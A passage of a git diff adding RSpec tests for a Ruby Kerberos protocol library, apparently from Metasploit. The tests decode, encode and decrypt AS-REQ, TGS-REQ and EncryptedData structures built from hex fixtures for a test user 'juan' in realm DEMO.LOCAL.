"\xcf\x36\xf8\x56\x0a\xe9\xaf\x5c\xb5\x42\x40\x72\xde\xd5\x95\x37" + + "\xa0\xe5\x93\xc3\x32\xef\x82\x0a\x0f\x1e\x0a\x75\x20\xb6\x8d\xfc" + + "\xe2\xce\xb3\x87\xdf\xa5\x04\x67\xf4\x30\x1a\x0a\x19\x38\x46\x5a" + + "\x58\x46\xf4\x34\xba\xdb\x46\x4e\xc4\xcc\xaa\xbc\x24\x85\xa5\x24" + + "\x84\x96\xa4\x75\x43\x46\x7f\x11\xce\x47\x9f\xfa\x84\xce\xb6\x35" + + "\xcd\x95\x1e\x1d\x03\x88\x1d\xe3\x3a\x53\x9b\xa5\x1b\x97\x83\xcf" + + "\xb3\x9e\x88\x08\x86\x6d\x48\x98\xec\x8d\x83\x42\xae\xc9\x92\x56" + + "\xd5\xa9\x90\x03\x47\xb8\xd7\x81\xf4\x6e\x1e\x6d\x73\x8a\x3a\xc6" + + "\x0f\xb1\x38\x99\x4f\x06\x04\x11\x7d\xa3\x39\x34\xa9\x9e\x8e\x48" + + "\xcc\x64\xf3\x33\x3c\x0b\x88\x3e\x42\xf8\x74\x3e\x92\x68\x67\x26" + + "\xeb\x46\xaa\xc8\x31\x77\x4b\xb1\x57\xef\x49\xd3\x98\xf5\x53\xc0" + + "\x58\x19\x26\xb7\x1b\x8c\x17\x77\xbc\xe0\x20\xe9\x80\x08\xe5\x92" + + "\x27\x72\x53\x20\x09\xc6\x39\x02\x97\x4b\x0a\x54\x8c\x2d\x0c\xbd" + + "\x65\x9c\x61\x54\xef\x90\x6d\xc6\x56\x62\xc8\x04\xd7\x6b\x23\xd1" + + "\xb0\xc7\xe7\xe5\x36\x96\x05\xf9\x46\x01\xc1\xac\x0c\x96\x84\xaa" + + "\x6c\x84\x58\xde\xad\xe7\x32\x85\x2c\xfd\x27\x1a\xdc\x39\x60\xbc" + + "\x5e\x0d\x7e\x1d\x65\x7f\x21\xfa\xcd\xc3\x30\xb3\xee\x00\xc9\xf8" + + "\x1e\x0f\xb5\x67\x87\xa0\xaf\x46\xe3\x55\xff\x0c\x0c\x63\x8e\xdb" + + "\xd9\x11\x9c\x17\x5a\x87\xb0\xf2\x51\x56\x62\x7f\x7e\x64\x53\xaf" + + "\x04\x77\xfb\xec\xa7\x96\x98\x93\x96\x10\x39\x72\xf0\x44\xfa\x66" + + "\x7f\x00\xe0\xe9\x9f\x36\xbc\x81\x87\x2e\xfb\x6d\xc0\x9b\x52\xb2" + + "\x19\xa5\xbf\x8c\x0f\x33\x19\x0b\x41\xce\xf5\x6f\x6f\xd7\x2b\x04" + + "\xe0\xa7\xad\x40\x32\x8d\xf3\xbe\x13\xc7\xc6\x21\xed\x23\x10\xc5" + + "\x1a\x9f\x82\x99\x62\x37\x71\xe4\xb8\x69\x0a\xa8\x88\xeb\xcb\xc0" + + "\x1c\xdf\x54\x6f\x4c\x43\x90\x12\xcf\x29\xb0\xf1\xc9\xfd\x4b\x5e" + + "\x44\x08\x25\x8d\x64\x45\x3e\xbc\x7e\xb1\x67\x80\xc3\x39\x1e\xe8" + + "\xbf\xe0\x90\x70\xf8\x00\xcf\x18\x29\xab\x72\x01\x0c\x43\x02\x0b" + + "\x81\x7b\x1a\xac\xf5\x25\x33\x53\x86\xf5\x25\xef\x7f\x1d\x1d\x05" + + "\x3f\x12\x38\x4a\x3f\x98\x03\xc8\x9f\xf3\x9b\x87\x80\xb2\x4f\xcd" + + "\x3d\x3d\x58\xb5" + end + +=begin +#<OpenSSL::ASN1::Sequence:0x007ff70196b158 + @infinite_length=false, + @tag=16, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value= + [ + #<OpenSSL::ASN1::ASN1Data:0x007ff70196b2c0 + @infinite_length=false, + @tag=0, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::Integer:0x007ff70196b2e8 + @infinite_length=false, + @tag=2, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value=#<OpenSSL::BN:0x007ff70196b338>> + ]>, + #<OpenSSL::ASN1::ASN1Data:0x007ff70196b1a8 + @infinite_length=false, + @tag=2, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::OctetString:0x007ff70196b1f8 + @infinite_length=false, + @tag=4, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value= + "`\xAES\xA5\vV.Fa\xD9\xD6\x89\x98\xFCy\x9DEs}\r\x8Ax\x84M\xD7|\xC6P\b\x8D\xAB\"y\xC3\x8D\xD3\xAF\x9F^\xB7\xB8\x9BW\xC5\xC9\xC5\xEA\x90\x89\xC3cX"> + ]> + ]> +=end + let(:sample_known_enc_data) do + "\x30\x3d\xa0\x03\x02\x01\x17\xa2\x36\x04\x34\x60\xae\x53\xa5\x0b" + + "\x56\x2e\x46\x61\xd9\xd6\x89\x98\xfc\x79\x9d\x45\x73\x7d\x0d\x8a" + + "\x78\x84\x4d\xd7\x7c\xc6\x50\x08\x8d\xab\x22\x79\xc3\x8d\xd3\xaf" + + "\x9f\x5e\xb7\xb8\x9b\x57\xc5\xc9\xc5\xea\x90\x89\xc3\x63\x58" + end + let(:msg_type) { 1 } + let(:known_password) { OpenSSL::Digest.digest('MD4', Rex::Text.to_unicode('juan')) } + + describe "#decode" do + context "when EncryptedData without kvno" do + it "returns the EncryptedData instance" do + expect(encrypted_data.decode(sample_enc_data)).to eq(encrypted_data) + end + + it "decodes etype correctly" do + encrypted_data.decode(sample_enc_data) + expect(encrypted_data.etype).to eq(Rex::Proto::Kerberos::Crypto::RC4_HMAC) + end + + it "decodes cipher correctly" do + encrypted_data.decode(sample_enc_data) + expect(encrypted_data.cipher.length).to eq(643) + end + end + end + + describe "#encode" do + context "when EncryptedData without kvno" do + it "encodes Rex::Proto::Kerberos::Model::EncryptedData correctly" do + encrypted_data.decode(sample_enc_data) + expect(sample_enc_data.encode).to eq(sample_enc_data) + end + end + end + + + describe "#decrypt" do + + context "correct key" do + it "returns the decrypted string" do + encrypted_data.decode(sample_known_enc_data) + expect(encrypted_data.decrypt(known_password, msg_type)).to be_a(String) + end + + it "returns a valid object" do + encrypted_data.decode(sample_known_enc_data) + plain = encrypted_data.decrypt(known_password, msg_type) + expect(Rex::Proto::Kerberos::Model::PreAuthEncTimeStamp.decode(plain)).to be_a(Rex::Proto::Kerberos::Model::PreAuthEncTimeStamp) + end + end + + context "when incorrect key" do + it "raises RuntimeError" do + encrypted_data.decode(sample_known_enc_data) + expect { encrypted_data.decrypt('error', msg_type) }.to raise_error(RuntimeError) + end + end + + context "when incorrect msg_type" do + it "raises RuntimeError" do + encrypted_data.decode(sample_known_enc_data) + expect { encrypted_data.decrypt(known_password, 10) }.to raise_error(RuntimeError) + end + end + end + +end diff --git a/spec/lib/rex/proto/kerberos/model/kdc_request_body_spec.rb b/spec/lib/rex/proto/kerberos/model/kdc_request_body_spec.rb new file mode 100644 index 0000000000..4f94425f4f --- /dev/null +++ b/spec/lib/rex/proto/kerberos/model/kdc_request_body_spec.rb @@ -0,0 +1,564 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/proto/kerberos' + +describe Rex::Proto::Kerberos::Model::KdcRequestBody do + + subject(:kdc_request_body) do + described_class.new + end + +=begin +#<OpenSSL::ASN1::Sequence:0x007ff9c30196d0 + @infinite_length=false, + @tag=16, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value= + [#<OpenSSL::ASN1::ASN1Data:0x007ff9c301bb60 + @infinite_length=false, + @tag=0, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::BitString:0x007ff9c301bbb0 + @infinite_length=false, + @tag=3, + @tag_class=:UNIVERSAL, + @tagging=nil, + @unused_bits=0, + @value="P\x80\x00\x00">]>, + #<OpenSSL::ASN1::ASN1Data:0x007ff9c301b570 + @infinite_length=false, + @tag=1, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::Sequence:0x007ff9c301b5e8 + @infinite_length=false, + @tag=16, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value= + [#<OpenSSL::ASN1::ASN1Data:0x007ff9c301b7f0 + @infinite_length=false, + @tag=0, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::Integer:0x007ff9c301b818 + @infinite_length=false, + @tag=2, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value=#<OpenSSL::BN:0x007ff9c301b840>>]>, + #<OpenSSL::ASN1::ASN1Data:0x007ff9c301b610 + @infinite_length=false, + @tag=1, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::Sequence:0x007ff9c301b660 + @infinite_length=false, + @tag=16, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value= + [#<OpenSSL::ASN1::GeneralString:0x007ff9c301b688 + @infinite_length=false, + @tag=27, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value="juan">]>]>]>]>, + #<OpenSSL::ASN1::ASN1Data:0x007ff9c301b318 + @infinite_length=false, + @tag=2, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::GeneralString:0x007ff9c301b408 + @infinite_length=false, + @tag=27, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value="DEMO.LOCAL">]>, + #<OpenSSL::ASN1::ASN1Data:0x007ff9c301a760 + @infinite_length=false, + @tag=3, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::Sequence:0x007ff9c301a7b0 + @infinite_length=false, + @tag=16, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value= + [#<OpenSSL::ASN1::ASN1Data:0x007ff9c301ab20 + @infinite_length=false, + @tag=0, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::Integer:0x007ff9c301ab98 + @infinite_length=false, + @tag=2, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value=#<OpenSSL::BN:0x007ff9c301abc0>>]>, + #<OpenSSL::ASN1::ASN1Data:0x007ff9c301a800 + @infinite_length=false, + @tag=1, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::Sequence:0x007ff9c301a828 + @infinite_length=false, + @tag=16, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value= + [#<OpenSSL::ASN1::GeneralString:0x007ff9c301aa08 + @infinite_length=false, + @tag=27, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value="krbtgt">, + #<OpenSSL::ASN1::GeneralString:0x007ff9c301a850 + @infinite_length=false, + @tag=27, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value="DEMO.LOCAL">]>]>]>]>, + #<OpenSSL::ASN1::ASN1Data:0x007ff9c301a2d8 + @infinite_length=false, + @tag=4, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::GeneralizedTime:0x007ff9c301a3a0 + @infinite_length=false, + @tag=24, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value=1970-01-01 00:00:00 UTC>]>, + #<OpenSSL::ASN1::ASN1Data:0x007ff9c3019f68 + @infinite_length=false, + @tag=5, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::GeneralizedTime:0x007ff9c3019f90 + @infinite_length=false, + @tag=24, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value=1970-01-01 00:00:00 UTC>]>, + #<OpenSSL::ASN1::ASN1Data:0x007ff9c3019ba8 + @infinite_length=false, + @tag=6, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::GeneralizedTime:0x007ff9c3019bf8 + @infinite_length=false, + @tag=24, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value=1970-01-01 00:00:00 UTC>]>, + #<OpenSSL::ASN1::ASN1Data:0x007ff9c3019978 + @infinite_length=false, + @tag=7, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::Integer:0x007ff9c3019a68 + @infinite_length=false, + @tag=2, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value=#<OpenSSL::BN:0x007ff9c3019a90>>]>, + #<OpenSSL::ASN1::ASN1Data:0x007ff9c30196f8 + @infinite_length=false, + @tag=8, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::Sequence:0x007ff9c3019798 + @infinite_length=false, + @tag=16, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value= + [#<OpenSSL::ASN1::Integer:0x007ff9c3019838 + @infinite_length=false, + @tag=2, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value=#<OpenSSL::BN:0x007ff9c30198d8>>]>]>]> +=end + let(:sample_as_req) do + "\x30\x81\x93\xa0\x07\x03\x05\x00" + + "\x50\x80\x00\x00\xa1\x11\x30\x0f" + + "\xa0\x03\x02\x01\x01\xa1\x08\x30" + + "\x06\x1b\x04\x6a\x75\x61\x6e\xa2" + + "\x0c\x1b\x0a\x44\x45\x4d\x4f\x2e" + + "\x4c\x4f\x43\x41\x4c\xa3\x1f\x30" + + "\x1d\xa0\x03\x02\x01\x01\xa1\x16" + + "\x30\x14\x1b\x06\x6b\x72\x62\x74" + + "\x67\x74\x1b\x0a\x44\x45\x4d\x4f" + + "\x2e\x4c\x4f\x43\x41\x4c\xa4\x11" + + "\x18\x0f\x31\x39\x37\x30\x30\x31" + + "\x30\x31\x30\x30\x30\x30\x30\x30" + + "\x5a\xa5\x11\x18\x0f\x31\x39\x37" + + "\x30\x30\x31\x30\x31\x30\x30\x30" + + "\x30\x30\x30\x5a\xa6\x11\x18\x0f" + + "\x31\x39\x37\x30\x30\x31\x30\x31" + + "\x30\x30\x30\x30\x30\x30\x5a\xa7" + + "\x06\x02\x04\x18\xf4\x10\x2c\xa8" + + "\x05\x30\x03\x02\x01\x17" + end + +=begin +#<OpenSSL::ASN1::Sequence:0x007ff9c387ab80 + @infinite_length=false, + @tag=16, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value= + [#<OpenSSL::ASN1::ASN1Data:0x007ff9c387b580 + @infinite_length=false, + @tag=0, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::BitString:0x007ff9c387b5a8 + @infinite_length=false, + @tag=3, + @tag_class=:UNIVERSAL, + @tagging=nil, + @unused_bits=0, + @value="P\x80\x00\x00">]>, + #<OpenSSL::ASN1::ASN1Data:0x007ff9c387b4e0 + @infinite_length=false, + @tag=2, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::GeneralString:0x007ff9c387b508 + @infinite_length=false, + @tag=27, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value="DEMO.LOCAL">]>, + #<OpenSSL::ASN1::ASN1Data:0x007ff9c387b260 + @infinite_length=false, + @tag=3, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::Sequence:0x007ff9c387b288 + @infinite_length=false, + @tag=16, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value= + [#<OpenSSL::ASN1::ASN1Data:0x007ff9c387b3f0 + @infinite_length=false, + @tag=0, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::Integer:0x007ff9c387b418 + @infinite_length=false, + @tag=2, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value=#<OpenSSL::BN:0x007ff9c387b440>>]>, + #<OpenSSL::ASN1::ASN1Data:0x007ff9c387b2b0 + @infinite_length=false, + @tag=1, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::Sequence:0x007ff9c387b2d8 + @infinite_length=false, + @tag=16, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value= + [#<OpenSSL::ASN1::GeneralString:0x007ff9c387b350 + @infinite_length=false, + @tag=27, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value="krbtgt">, + #<OpenSSL::ASN1::GeneralString:0x007ff9c387b300 + @infinite_length=false, + @tag=27, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value="DEMO.LOCAL">]>]>]>]>, + #<OpenSSL::ASN1::ASN1Data:0x007ff9c387b148 + @infinite_length=false, + @tag=4, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::GeneralizedTime:0x007ff9c387b170 + @infinite_length=false, + @tag=24, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value=1970-01-01 00:00:00 UTC>]>, + #<OpenSSL::ASN1::ASN1Data:0x007ff9c387b030 + @infinite_length=false, + @tag=5, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::GeneralizedTime:0x007ff9c387b058 + @infinite_length=false, + @tag=24, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value=1970-01-01 00:00:00 UTC>]>, + #<OpenSSL::ASN1::ASN1Data:0x007ff9c387af18 + @infinite_length=false, + @tag=6, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::GeneralizedTime:0x007ff9c387af40 + @infinite_length=false, + @tag=24, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value=1970-01-01 00:00:00 UTC>]>, + #<OpenSSL::ASN1::ASN1Data:0x007ff9c387ae78 + @infinite_length=false, + @tag=7, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::Integer:0x007ff9c387aea0 + @infinite_length=false, + @tag=2, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value=#<OpenSSL::BN:0x007ff9c387aec8>>]>, + #<OpenSSL::ASN1::ASN1Data:0x007ff9c387ad88 + @infinite_length=false, + @tag=8, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::Sequence:0x007ff9c387adb0 + @infinite_length=false, + @tag=16, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value= + [#<OpenSSL::ASN1::Integer:0x007ff9c387add8 + @infinite_length=false, + @tag=2, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value=#<OpenSSL::BN:0x007ff9c387ae00>>]>]>, + #<OpenSSL::ASN1::ASN1Data:0x007ff9c387aba8 + @infinite_length=false, + @tag=10, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::Sequence:0x007ff9c387abd0 + @infinite_length=false, + @tag=16, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value= + [#<OpenSSL::ASN1::ASN1Data:0x007ff9c387ac98 + @infinite_length=false, + @tag=0, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::Integer:0x007ff9c387acc0 + @infinite_length=false, + @tag=2, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value=#<OpenSSL::BN:0x007ff9c387ace8>>]>, + #<OpenSSL::ASN1::ASN1Data:0x007ff9c387abf8 + @infinite_length=false, + @tag=2, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::OctetString:0x007ff9c387ac20 + @infinite_length=false, + @tag=4, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value= + "\x8A0\x9D|\xA7\xE4\"6\rD\xF5\xD1:\x00\x8B7nR \xBC\xEA\x8Bpf\xC0\x90\xC4('1\xCF\x16,| |\xAA<\xE0\xC7j\xFB\xB9A\xB2\xD9\xA2\xD8Y\x92\xB5\x82\x17\x8A\x93VQ\x97\xF9\xAD\x1D\xC6\xC6\xBC\xA0D\x9B\xC5\xC1\xD81\xF1\x94\x887\v\xA5\xAFQ\xB0=\x9Am\xC0\xB2\xF1 3\xB7\x87z\xCF\xF7\xDE\xA0\x8B\x83\xAEvq8}BM\xDE\n\x03\xBE\xB7\x1C\xF4\x8C\x84\x165.`\xC4\x83\x17q\xE7\x00#\xFB\xA1\x01\xD3\xDA\xE0\x7F\xCD\x04=S\x85Nr\tc\xF4\x06\xD8Q\x15\xAB\x15\xECO\x80\xC5\xF3\xE2\x8A\x7F\x97\x0Fq\xED\f\xE9\x9F\x19\x14k=\x94J\xAE>\xB8\x1A3\xC4V\xCF6\xF8V\n\xE9\xAF\\\xB5B@r\xDE\xD5\x957\xA0\xE5\x93\xC32\xEF\x82\n\x0F\x1E\nu \xB6\x8D\xFC\xE2\xCE\xB3\x87\xDF\xA5\x04g\xF40\x1A\n\x198FZXF\xF44\xBA\xDBFN\xC4\xCC\xAA\xBC$\x85\xA5$\x84\x96\xA4uCF\x7F\x11\xCEG\x9F\xFA\x84\xCE\xB65\xCD\x95\x1E\x1D\x03\x88\x1D\xE3:S\x9B\xA5\e\x97\x83\xCF\xB3\x9E\x88\b\x86mH\x98\xEC\x8D\x83B\xAE\xC9\x92V\xD5\xA9\x90\x03G\xB8\xD7\x81\xF4n\x1Ems\x8A:\xC6\x0F\xB18\x99O\x06\x04\x11}\xA394\xA9\x9E\x8EH\xCCd\xF33<\v\x88>B\xF8t>\x92hg&\xEBF\xAA\xC81wK\xB1W\xEFI\xD3\x98\xF5S\xC0X\x19&\xB7\e\x8C\x17w\xBC\xE0 \xE9\x80\b\xE5\x92'rS \t\xC69\x02\x97K\nT\x8C-\f\xBDe\x9CaT\xEF\x90m\xC6Vb\xC8\x04\xD7k#\xD1\xB0\xC7\xE7\xE56\x96\x05\xF9F\x01\xC1\xAC\f\x96\x84\xAAl\x84X\xDE\xAD\xE72\x85,\xFD'\x1A\xDC9`\xBC^\r~\x1De\x7F!\xFA\xCD\xC30\xB3\xEE\x00\xC9\xF8\x1E\x0F\xB5g\x87\xA0\xAFF\xE3U\xFF\f\fc\x8E\xDB\xD9\x11\x9C\x17Z\x87\xB0\xF2QVb\x7F~dS\xAF\x04w\xFB\xEC\xA7\x96\x98\x93\x96\x109r\xF0D\xFAf\x7F\x00\xE0\xE9\x9F6\xBC\x81\x87.\xFBm\xC0\x9BR\xB2\x19\xA5\xBF\x8C\x0F3\x19\vA\xCE\xF5oo\xD7+\x04\xE0\xA7\xAD@2\x8D\xF3\xBE\x13\xC7\xC6!\xED#\x10\xC5\x1A\x9F\x82\x99b7q\xE4\xB8i\n\xA8\x88\xEB\xCB\xC0\x1C\xDFToLC\x90\x12\xCF)\xB0\xF1\xC9\xFDK^D\b%\x8DdE>\xBC~\xB1g\x80\xC39\x1E\xE8\xBF\xE0\x90p\xF8\x00\xCF\x18)\xABr\x01\fC\x02\v\x81{\x1A\xAC\xF5%3S\x86\xF5%\xEF\x7F\x1D\x1D\x05?\x128J?\x98\x03\xC8\x9F\xF3\x9B\x87\x80\xB2O\xCD==X\xB5">]>]>]>]> +=end + let(:sample_tgs_req) do + "\x30\x82\x03\x18\xa0\x07\x03\x05\x00\x50\x80\x00\x00\xa2\x0c\x1b" + + "\x0a\x44\x45\x4d\x4f\x2e\x4c\x4f\x43\x41\x4c\xa3\x1f\x30\x1d\xa0" + + "\x03\x02\x01\x01\xa1\x16\x30\x14\x1b\x06\x6b\x72\x62\x74\x67\x74" + + "\x1b\x0a\x44\x45\x4d\x4f\x2e\x4c\x4f\x43\x41\x4c\xa4\x11\x18\x0f" + + "\x31\x39\x37\x30\x30\x31\x30\x31\x30\x30\x30\x30\x30\x30\x5a\xa5" + + "\x11\x18\x0f\x31\x39\x37\x30\x30\x31\x30\x31\x30\x30\x30\x30\x30" + + "\x30\x5a\xa6\x11\x18\x0f\x31\x39\x37\x30\x30\x31\x30\x31\x30\x30" + + "\x30\x30\x30\x30\x5a\xa7\x06\x02\x04\x7a\x5f\xfa\xac\xa8\x05\x30" + + "\x03\x02\x01\x17\xaa\x82\x02\x94\x30\x82\x02\x90\xa0\x03\x02\x01" + + "\x17\xa2\x82\x02\x87\x04\x82\x02\x83\x8a\x30\x9d\x7c\xa7\xe4\x22" + + "\x36\x0d\x44\xf5\xd1\x3a\x00\x8b\x37\x6e\x52\x20\xbc\xea\x8b\x70" + + "\x66\xc0\x90\xc4\x28\x27\x31\xcf\x16\x2c\x7c\x20\x7c\xaa\x3c\xe0" + + "\xc7\x6a\xfb\xb9\x41\xb2\xd9\xa2\xd8\x59\x92\xb5\x82\x17\x8a\x93" + + "\x56\x51\x97\xf9\xad\x1d\xc6\xc6\xbc\xa0\x44\x9b\xc5\xc1\xd8\x31" + + "\xf1\x94\x88\x37\x0b\xa5\xaf\x51\xb0\x3d\x9a\x6d\xc0\xb2\xf1\x20" + + "\x33\xb7\x87\x7a\xcf\xf7\xde\xa0\x8b\x83\xae\x76\x71\x38\x7d\x42" + + "\x4d\xde\x0a\x03\xbe\xb7\x1c\xf4\x8c\x84\x16\x35\x2e\x60\xc4\x83" + + "\x17\x71\xe7\x00\x23\xfb\xa1\x01\xd3\xda\xe0\x7f\xcd\x04\x3d\x53" + + "\x85\x4e\x72\x09\x63\xf4\x06\xd8\x51\x15\xab\x15\xec\x4f\x80\xc5" + + "\xf3\xe2\x8a\x7f\x97\x0f\x71\xed\x0c\xe9\x9f\x19\x14\x6b\x3d\x94" + + "\x4a\xae\x3e\xb8\x1a\x33\xc4\x56\xcf\x36\xf8\x56\x0a\xe9\xaf\x5c" + + "\xb5\x42\x40\x72\xde\xd5\x95\x37\xa0\xe5\x93\xc3\x32\xef\x82\x0a" + + "\x0f\x1e\x0a\x75\x20\xb6\x8d\xfc\xe2\xce\xb3\x87\xdf\xa5\x04\x67" + + "\xf4\x30\x1a\x0a\x19\x38\x46\x5a\x58\x46\xf4\x34\xba\xdb\x46\x4e" + + "\xc4\xcc\xaa\xbc\x24\x85\xa5\x24\x84\x96\xa4\x75\x43\x46\x7f\x11" + + "\xce\x47\x9f\xfa\x84\xce\xb6\x35\xcd\x95\x1e\x1d\x03\x88\x1d\xe3" + + "\x3a\x53\x9b\xa5\x1b\x97\x83\xcf\xb3\x9e\x88\x08\x86\x6d\x48\x98" + + "\xec\x8d\x83\x42\xae\xc9\x92\x56\xd5\xa9\x90\x03\x47\xb8\xd7\x81" + + "\xf4\x6e\x1e\x6d\x73\x8a\x3a\xc6\x0f\xb1\x38\x99\x4f\x06\x04\x11" + + "\x7d\xa3\x39\x34\xa9\x9e\x8e\x48\xcc\x64\xf3\x33\x3c\x0b\x88\x3e" + + "\x42\xf8\x74\x3e\x92\x68\x67\x26\xeb\x46\xaa\xc8\x31\x77\x4b\xb1" + + "\x57\xef\x49\xd3\x98\xf5\x53\xc0\x58\x19\x26\xb7\x1b\x8c\x17\x77" + + "\xbc\xe0\x20\xe9\x80\x08\xe5\x92\x27\x72\x53\x20\x09\xc6\x39\x02" + + "\x97\x4b\x0a\x54\x8c\x2d\x0c\xbd\x65\x9c\x61\x54\xef\x90\x6d\xc6" + + "\x56\x62\xc8\x04\xd7\x6b\x23\xd1\xb0\xc7\xe7\xe5\x36\x96\x05\xf9" + + "\x46\x01\xc1\xac\x0c\x96\x84\xaa\x6c\x84\x58\xde\xad\xe7\x32\x85" + + "\x2c\xfd\x27\x1a\xdc\x39\x60\xbc\x5e\x0d\x7e\x1d\x65\x7f\x21\xfa" + + "\xcd\xc3\x30\xb3\xee\x00\xc9\xf8\x1e\x0f\xb5\x67\x87\xa0\xaf\x46" + + "\xe3\x55\xff\x0c\x0c\x63\x8e\xdb\xd9\x11\x9c\x17\x5a\x87\xb0\xf2" + + "\x51\x56\x62\x7f\x7e\x64\x53\xaf\x04\x77\xfb\xec\xa7\x96\x98\x93" + + "\x96\x10\x39\x72\xf0\x44\xfa\x66\x7f\x00\xe0\xe9\x9f\x36\xbc\x81" + + "\x87\x2e\xfb\x6d\xc0\x9b\x52\xb2\x19\xa5\xbf\x8c\x0f\x33\x19\x0b" + + "\x41\xce\xf5\x6f\x6f\xd7\x2b\x04\xe0\xa7\xad\x40\x32\x8d\xf3\xbe" + + "\x13\xc7\xc6\x21\xed\x23\x10\xc5\x1a\x9f\x82\x99\x62\x37\x71\xe4" + + "\xb8\x69\x0a\xa8\x88\xeb\xcb\xc0\x1c\xdf\x54\x6f\x4c\x43\x90\x12" + + "\xcf\x29\xb0\xf1\xc9\xfd\x4b\x5e\x44\x08\x25\x8d\x64\x45\x3e\xbc" + + "\x7e\xb1\x67\x80\xc3\x39\x1e\xe8\xbf\xe0\x90\x70\xf8\x00\xcf\x18" + + "\x29\xab\x72\x01\x0c\x43\x02\x0b\x81\x7b\x1a\xac\xf5\x25\x33\x53" + + "\x86\xf5\x25\xef\x7f\x1d\x1d\x05\x3f\x12\x38\x4a\x3f\x98\x03\xc8" + + "\x9f\xf3\x9b\x87\x80\xb2\x4f\xcd\x3d\x3d\x58\xb5" + end + + describe "#decode" do + context "when KdcRequestBody from a KRB_AS_REQ message" do + it "returns the KdcRequestBody instance" do + expect(kdc_request_body.decode(sample_as_req)).to eq(kdc_request_body) + end + + it "decodes options" do + kdc_request_body.decode(sample_as_req) + expect(kdc_request_body.options).to eq(0x50800000) + end + + it "decodes cname" do + kdc_request_body.decode(sample_as_req) + expect(kdc_request_body.cname.name_string).to eq(['juan']) + end + + it "decodes realm" do + kdc_request_body.decode(sample_as_req) + expect(kdc_request_body.realm).to eq('DEMO.LOCAL') + end + + it "decodes sname" do + kdc_request_body.decode(sample_as_req) + expect(kdc_request_body.sname.name_string).to eq(['krbtgt', 'DEMO.LOCAL']) + end + + it "decodes from" do + kdc_request_body.decode(sample_as_req) + expect(kdc_request_body.from.to_s).to eq('1970-01-01 00:00:00 UTC') + end + + it "decodes till" do + kdc_request_body.decode(sample_as_req) + expect(kdc_request_body.till.to_s).to eq('1970-01-01 00:00:00 UTC') + end + + it "decodes rtime" do + kdc_request_body.decode(sample_as_req) + expect(kdc_request_body.rtime.to_s).to eq('1970-01-01 00:00:00 UTC') + end + + it "decodes nonce" do + kdc_request_body.decode(sample_as_req) + expect(kdc_request_body.nonce).to eq(418648108) + end + + it "decodes etype" do + kdc_request_body.decode(sample_as_req) + expect(kdc_request_body.etype).to eq([Rex::Proto::Kerberos::Crypto::RC4_HMAC]) + end + + it 